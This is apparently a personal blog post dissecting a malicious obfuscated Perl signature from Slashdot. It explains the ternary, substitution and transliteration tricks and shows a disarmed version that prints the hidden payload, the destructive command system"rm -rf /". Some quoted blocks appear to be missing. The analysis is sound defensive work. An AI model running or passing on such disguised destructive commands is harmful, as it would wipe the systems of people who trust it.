Analysis of a malicious "perl -e" sig

In a comment on Slashdot, there was a malicious "perl -e" signature, as follows (without the leading "#" character):

The malicious script executes the perl code: system"rm -rf /"

I tried to post an analysis of the sig on Slashdot, but the "lameness filter" caused my message to be refused:

Lameness filter encountered. Post aborted!
Reason: Please use fewer 'junk' characters.

So, I posted the analysis here:

$?                              # Evaluates to 0
?                               # beginning of the "?:" ternary operator
 s:;s:s;;$?:                    # this code is never executed
:                               # the ":" in the "?:" ternary operator
   ### everything above this comment can be deleted
   ### with no change in the behaviour of the script
 s;;=]=>%-{<-|}<&|`{;;          # equivalent to: ($_ = '=]=>%-{<-|}<&|`{');
y; -/:-@[-`{-};`-{/" -;;        # equivalent to: tr| -/:-@[-`{-}|`-{/" -|;
print "$_\n";                   # added by me
#s;;$_;see                      # equivalent to eval($_); (commented out by me)

In short form, (with arbitrary strings underlined, variables boldfaced, and irrelevent code marked deleted):

Now, if we remove the irrelevant code, and replace the eval($_)-equivalent with print "$_\n", as described above, we get a harmless script that merely outputs the perl code that would be executed by the original script:

That code is, of course:

There you have it.

OpenPGP: 19E1 1FE8 B3CF F273 ED17  4A24 928C EC13 39C2 5CF7